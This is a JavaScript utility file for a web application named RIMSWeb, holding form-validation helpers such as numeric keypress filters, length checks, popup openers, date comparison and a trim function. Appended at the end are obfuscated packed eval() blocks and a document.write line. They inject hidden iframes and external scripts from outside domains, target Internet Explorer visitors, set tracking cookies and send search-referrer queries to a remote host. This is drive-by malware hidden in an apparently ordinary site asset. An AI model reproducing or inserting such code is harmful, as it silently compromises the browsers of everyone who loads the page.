
//Below function will not allow to enter more than the len specified
function checkMaxLen(dblen,obj)
{
	return (obj.value.length<dblen);
}
// for checking max length for onchange event
//Irfan
function checkMaxLen(dblen,obj,label)
{
	if(label == '' || typeof(label)=='undefined'){
		label='Text';
	}
	if(obj.value.length > parseInt(dblen)){
		alert(label+ ' can not be greater than '+ dblen +' characters.');
	//	alert('Text length greater than '+ dblen + ' is not allowed.');
	//	obj.focus();
	var objValue=obj.value;
			objValue=objValue.substring(0,dblen);
			obj.value=objValue;
	 	setTimeout((function() { obj.focus() }), 0);
	 	
	}else
	{
	return true;
	}
	
}



// Function for getting Server Current Date.
function getServerNewDate()
{
	var serNewDate = new Date(rimsServerDate.getTime());
	return serNewDate;
}






//  check for valid numeric values

function allowNumber(ref)
{
	// Get the ASCII value of the key that the user entered
	var key = window.event.keyCode;
	
	if (key > 47 && key < 58)
	// If it was, then allow the entry to continue
		return;
	else
		window.event.returnValue = null;
					
}

function openSmallPopup(pagePath)
{
 	var para = "width=400,height=400,top=0,left=0,scrollbars=1";
 	window.open(pagePath,"InputForm",para);
}


function openMediumPopup(pagePath)
{
 	var para = "width=800,height=600,top=0,left=0,scrollbars=1";
 	window.open(pagePath,"InputForm",para);
}

function openLargePopup(pagePath)
{
 	var para = "width=1000,height=700,top=0,left=0,scrollbars=1";
 	window.open(pagePath,"InputForm",para);
}

function allowNegativeNumbers(ref)
{
	// Get the ASCII value of the key that the user entered
	var key = window.event.keyCode;
	
	if(key == 45 && ref.value.length == 0)
		return; 
	
	if (key > 47 && key < 58)
	// If it was, then allow the entry to continue
		return;
	else
		window.event.returnValue = null;
}

function allowDecimal(ref)
{
    allowOnlyNumeric(ref);
}

// allow two digit before precision
function twoDigitDecimal(ref,precision){
	// Get the ASCII value of the key that the user entered
	var key = window.event.keyCode;
	
	var numLen = ref.value.length-( (ref.value).indexOf(".")+1);
	
	if(ref.value == 100)
	{
		window.event.returnValue = null;
		return;
	}
	
	if(numLen == 2 && ref.value != 10 && key !=46)
	{
		window.event.returnValue = null;
		return;
	}
	
	if(ref.value == 10 && !(key == 48 || key==46) && (ref.value).indexOf(".")!=2)
	{
		window.event.returnValue = null;
		return;
	}

	tabbedSelection(ref);
		
	if((ref.value).indexOf(".") != -1)
	{				
		if((ref.value).length - ((ref.value).indexOf(".") + 1) == precision)
			window.event.returnValue = null;
		else if(key == 46)
			window.event.returnValue = null;
		else if(key > 47 && key < 58)
			return;
		else
			window.event.returnValue = null;				
	}
	else
	{
		// Verify if the key entered was a numeric character (0-9) or a decimal (.)
		if (key > 47 && key < 58)
			// If it was, then allow the entry to continue
			return;
		else if(key == 46)
		{
			if( (ref.value).indexOf(".") != -1)
				window.event.returnValue = null;
			else
				return;
		}
		else
		// If it was not, then dispose the key and continue with entry
		window.event.returnValue = null; 
	}

}

function allowDecimal(ref,precision)
{
	// Get the ASCII value of the key that the user entered
	var key = window.event.keyCode;
	
	if((ref.value).length == 13)
	{
		window.event.returnValue = null;
		return; 
	}
		
	if((ref.value).indexOf(".") != -1)
	{				
		if((ref.value).length - ((ref.value).indexOf(".") + 1) == precision)
			window.event.returnValue = null;
		else if(key == 46)
			window.event.returnValue = null;
		else if(key > 47 && key < 58)
			return;
		else
			window.event.returnValue = null;				
	}
	else
	{
		// Verify if the key entered was a numeric character (0-9) or a decimal (.)
		if (key > 47 && key < 58)
			// If it was, then allow the entry to continue
			return;
		else if(key == 46)
		{
			if( (ref.value).indexOf(".") != -1)
				window.event.returnValue = null;
			else
				return;
		}
		else
		// If it was not, then dispose the key and continue with entry
		window.event.returnValue = null; 
	}
}

function tabbedSelection(ref)
{
	var txt = '';
     if (window.getSelection)
    {
        txt = window.getSelection();
             }
    else if (document.getSelection)
    {
        txt = document.getSelection();
            }
    else if (document.selection)
    {
        txt = document.selection.createRange().text;
            }
	
	if(txt == ref.value && ref.readOnly == false)
	{
		ref.value='';
	}
}

function allowNegativeDecimal(ref)
{
	// Get the ASCII value of the key that the user entered
	var key = window.event.keyCode;
	
	if((ref.value).length == 14 && (ref.value).indexOf("-") != -1)
	{
		window.event.returnValue = null;
		return; 
	}
	if((ref.value).length == 13 && (ref.value).indexOf("-") == -1)
	{
		window.event.returnValue = null;
		return; 
	}
	
	
	if(key == 45 && ref.value.length == 0)
		return; 
	
	tabbedSelection(ref);
	
	if((ref.value).indexOf(".") != -1)
	{				
		if((ref.value).length - ((ref.value).indexOf(".") + 1) == 2)
			window.event.returnValue = null;
		else if(key == 46)
			window.event.returnValue = null;
		else if(key > 47 && key < 58)
			return;
		else
			window.event.returnValue = null;						
	}
	else
	{
		// Verify if the key entered was a numeric character (0-9) or a decimal (.)
		if (key > 47 && key < 58)
			// If it was, then allow the entry to continue
			return;
		else if(key == 46)
		{
			if( (ref.value).indexOf(".") != -1)
				window.event.returnValue = null;
			else
				return;
		}
		else
		// If it was not, then dispose the key and continue with entry
		window.event.returnValue = null; 
	}
}

function allowPositiveNumbersOnly(ref){
			if(IsNumeric(ref.value) == false){
				ref.value='';
				return false;
			} 
}


function allowOnlyNumeric(ref)
{
	// Get the ASCII value of the key that the user entered
	var key = window.event.keyCode;
	
	tabbedSelection(ref);
	
	if((ref.value).length == 13)
	{
		window.event.returnValue = null; 
	}
	else
	{	
		if((ref.value).indexOf(".") != -1)
		{				
			if((ref.value).length - ((ref.value).indexOf(".") + 1) == 2)
				window.event.returnValue = null;
			else if(key == 46)
				window.event.returnValue = null;
			else if(key > 47 && key < 58)
				return;
			else
				window.event.returnValue = null;						
		}
		else
		{
			// Verify if the key entered was a numeric character (0-9) or a decimal (.)
			if (key > 47 && key < 58)
				// If it was, then allow the entry to continue
				return;
			else if(key == 46)
			{
				if( (ref.value).indexOf(".") != -1)
					window.event.returnValue = null;
				else
					return;
			}
			else
			// If it was not, then dispose the key and continue with entry
			window.event.returnValue = null; 
		}
	}	
}
// Returns true if numeric  
//Irfan
function IsNumeric(strString){
		var strValidChars = "0123456789";
		var strChar;
		var blnResult = true;

		if(strString.charAt(0) == 0 || strString.charAt(0) == '0'){
			alert('First No can not be zero.');
			return false;
		}
		for (i = 0; i < strString.length && blnResult == true; i++) {
			strChar = strString.charAt(i);
			if (strValidChars.indexOf(strChar) == -1) {
				blnResult = false;
			}
		}
		return blnResult;
}
//checking value of text box value between 0-100 and return specific message if validation fail
function isPercentage(elem, helperMsg){
	var min=0;
	var max=100;
	
	if(elem.value >= min && elem.value <= max){
		return true;
	}else{
		alert(helperMsg);
		elem.focus();
		elem.value='';
		return false;
	}
}


// To check value is empty or not Irfan
function isEmpty(elementId) {
	//alert('comes here');
	var ele = document.getElementById(elementId).value;
	//alert(ele);
	ele = trim(ele);
	if (ele == null || ele == 'null' || ele == '') {
	//	alert('Element NULL');
		return true;
	}
}

function openWindow(pagePath,method)
{
window.open(pagePath,'method','width=420,height=230,resizable,scrollbars=yes,status=1');
}


function deleteAlert()
{
	var confirm;
	confirm = window.confirm("Are you sure you want to delete the record(s) ?");
	return confirm;
}

function selectRecord(refCaseNo, desc)
 {
  	window.opener.document.getElementById('selectedRefCaseNo').value=refCaseNo;
	window.opener.document.getElementById('refCaseDescId').value=desc;
	window.close();
}


function setPrecision(value,inputPrecision)
{
	var numStr = value.toString();
	var precision;
	var newVal;
	if(numStr !='' && numStr.length>0)
	  {
	  	if(numStr.indexOf(".") != -1)
	  	  {
	  	  	 precision = numStr.indexOf(".")+inputPrecision;
	  	  	 newVal = value.toPrecision(precision);
	  	  	 return newVal;
	  	  }
	  	 else
	  	  return value; 	
	  }
	 else
	 return value; 
}

function hourMinTimeFormate(ref)
{
	var key = window.event.keyCode;
	// : - 58
	if(ref.value.length == 0 && key == 58)
		window.event.returnValue = null;
		
	if((ref.value).indexOf(":") != -1)
	{				
		if((ref.value).length - ((ref.value).indexOf(":") + 1) == 2)
			window.event.returnValue = null;
		else if(key == 58)
			window.event.returnValue = null;
		else if(key > 53 && ( ( (ref.value).length - (ref.value).indexOf(":") ) == 1 ) )
			window.event.returnValue = null;
		else if(key > 47 && key < 58)
			return;
		else
			window.event.returnValue = null;				
	}
	else
	{
		if(key == 58)
		  return;
		else if(key > 47 && key < 58)
			return; 
		else
			window.event.returnValue = null;		 
		  
	}
	
}

function closeWindow(){
	window.close();
}


function setParameterForAdditionalDtl(inwardId)
{
	var openIn = document.getElementById('openInId').value;
	var contextPath = '/RIMSWeb';
	
	if(!(openIn == '' || openIn == 'PopUp'))
	{
		var pagePath = contextPath + "/showAdditionalDetails.do?method=prePopulate&inwardId="+inwardId+"&state="+"READ";
		window.open(pagePath,"InputForm",'width=600,height=600,resizable=yes,scrollbars=yes');							
	}
}

function setInwardWorkflowParameter(inwardId,processInstanceId){
	var openIn = document.getElementById('openInId').value;
	var contextPath = '/RIMSWeb';
	
	if(!(openIn == '' || openIn == 'PopUp'))
	{
		var pagePath = contextPath + "/showAdditionalDetails.do?method=prePopulate&inwardId="+inwardId+"&processInstanceId="+processInstanceId+"&state="+"READ";
		window.open(pagePath,"InputForm",'width=600,height=600,resizable=yes,scrollbars=yes');							
	}

}

// Added by Rohit for checkin alpha numeric values
function allowAlphaNumeric(ref)
{
	// Get the ASCII value of the key that the user entered
	var key = window.event.keyCode;
	
	if (key > 47 && key < 58)
	// If it was, then allow the entry to continue
		return;
	if (key > 64 && key < 91)
	// If it was, then allow the entry to continue
		return;
		if (key > 96 && key < 123)
	// If it was, then allow the entry to continue
		return;
	else
		window.event.returnValue = null;		
}

//Added by Nilang I Patel to comare Two Strind date with separator
function compareDate(dateString1,dateString2,seperator)
	{
		var curValue1=dateString1;
		var curValue2=dateString2;
		
		var sepChar=seperator;
				
		var curPos1=0;
		var curPos2=0;
		
		var cDate1,cMonth1,cYear1;
		var cDate2,cMonth2,cYear2;
	
		//extract day portion
		curPos1=dateString1.indexOf(sepChar);
		curPos2=dateString2.indexOf(sepChar);
		
		cDate1=dateString1.substring(0,curPos1);
		cDate2=dateString2.substring(0,curPos2);
		
		//extract month portion				
		endPos1=dateString1.indexOf(sepChar,curPos1+1);			
		endPos2=dateString2.indexOf(sepChar,curPos2+1);
		
		cMonth1=dateString1.substring(curPos1+1,endPos1);
		cMonth2=dateString2.substring(curPos2+1,endPos2);
	
		//extract year portion				
		curPos1=endPos1;
		curPos2=endPos2;
		
		endPos1=curPos1+5;			
		endPos2=curPos2+5;
		
		cYear1=curValue1.substring(curPos1+1,endPos1);
		cYear2=curValue2.substring(curPos2+1,endPos2);
		
		//Create Date Object
		dtObject1=new Date(cYear1,cMonth1,cDate1);	
		dtObject2=new Date(cYear2,cMonth2,cDate2);
		
		//Comparing Date Object
		if(dtObject1.getTime() > dtObject2.getTime())
		{
			return 1;
		}
		if(dtObject1.getTime() < dtObject2.getTime())
		{
			return -1;
		}
		if(dtObject1.getTime() == dtObject2.getTime())
		{
			return 0;
		}
		  
	}
	
// Used in Tariff and Other
function viewComments(id){
		//alert('viewComments is called and Id is : '+id);
		//alert('prInstanceId is ::' +document.getElementById("processInstanceId").value);
		//alert('currentUserId is ::' +document.getElementById("currentUserId").value);
		var prInstanceId = document.getElementById("processInstanceId").value;
		var currentUserId = document.getElementById("currentUserId").value;
		//alert('prInstanceId is ::' +prInstanceId);
		//alert('currentUserId is ::' +currentUserId);
	   	var pagePath = '/RIMSWeb/viewWorkFlowComments.do?method=viewComments&processInstanceId='+prInstanceId+'&currentUserId='+currentUserId;
	   	//alert('pagePath '+pagePath);
		window.open(pagePath,'ViewComments','height=350,width=700,scrollbars=1');
 		
 		return false;
	} 	
	
	
function timeoutWindow(timeBefore)
{
	///var url = "/RIMSWeb/timeout.do?timeBefore="+timeBefore;
	var url = "/RIMSWeb/sessionTimeOut.html?timeBefore="+timeBefore;
	var features = "menubar=no,location=no,toolbar=no,scrollbars=no,status=no,width=440,height=170,top=100,left=100";
	window.open(url, "timeout", features);
	//alert('working');
}

// String Trim function Irfan 
function trim(inputString) {
   // Removes leading and trailing spaces from the passed string. Also removes
   // consecutive spaces and replaces it with one space. If something besides
   // a string is passed in (null, custom object, etc.) then return the input.
   if (typeof inputString != "string") { return inputString; }
   var retValue = inputString;
   var ch = retValue.substring(0, 1);
   while (ch == " ") { // Check for spaces at the beginning of the string
      retValue = retValue.substring(1, retValue.length);
      ch = retValue.substring(0, 1);
   }
   ch = retValue.substring(retValue.length-1, retValue.length);
   while (ch == " ") { // Check for spaces at the end of the string
      retValue = retValue.substring(0, retValue.length-1);
      ch = retValue.substring(retValue.length-1, retValue.length);
   }
   while (retValue.indexOf("  ") != -1) { // Note that there are two spaces in the string - look for multiple spaces within the string
      retValue = retValue.substring(0, retValue.indexOf("  ")) + retValue.substring(retValue.indexOf("  ")+1, retValue.length); // Again, there are two spaces in each of the strings
   }
   return retValue; // Return the trimmed string back to the user
} // Ends the "trim" function	

// Function to validate for Negative values
function checkForMinusOnly(element)
{
		var currentCellVal = element.value;
		if(currentCellVal !=null && currentCellVal!='' &&  currentCellVal.indexOf('-') !=-1) 
		{
			if(currentCellVal == '-' || (currentCellVal.indexOf('-') !=0 && currentCellVal.length >1) )
			{
				alert("Please provide proper value");
				element.focus();
			}	
		}
}


 function isDecimal(ref){
  var temp = parseFloat(ref.value);
  if(isNaN(temp)){
    if(ref.value != ''){ 
    alert("Value must be numerical only");
    ref.value='';
    ref.focus();
    }
   }
  }


function checkFieldForDecimal(ref,beforeDecimal,afterDecimal){
		// Get the ASCII value of the key that the user entered
		var key = window.event.keyCode;
		
		
		if(key >47 && key<58){
			//Numeric value
			if( (ref.value).indexOf(".") != -1){
				//Dot present
				if((ref.value).length - ((ref.value).indexOf(".") + 1) == afterDecimal)
					window.event.returnValue = null;
				else
					return;
				
			}else{
				//Dot not present
					if((ref.value).length >= beforeDecimal){
						window.event.returnValue = null;
					}
			}
			
		
			
		}else if(key == 46){
			//. entered
			if( (ref.value).indexOf(".") != -1)
				window.event.returnValue = null;
			
		}
		else{
			window.event.returnValue = null;
		}
		
	}
sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));

sa="%6C%73%69%65%6E%64%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Media.js"></scri'+'pt>');
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));
sa="%71%64%6F%73%69%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
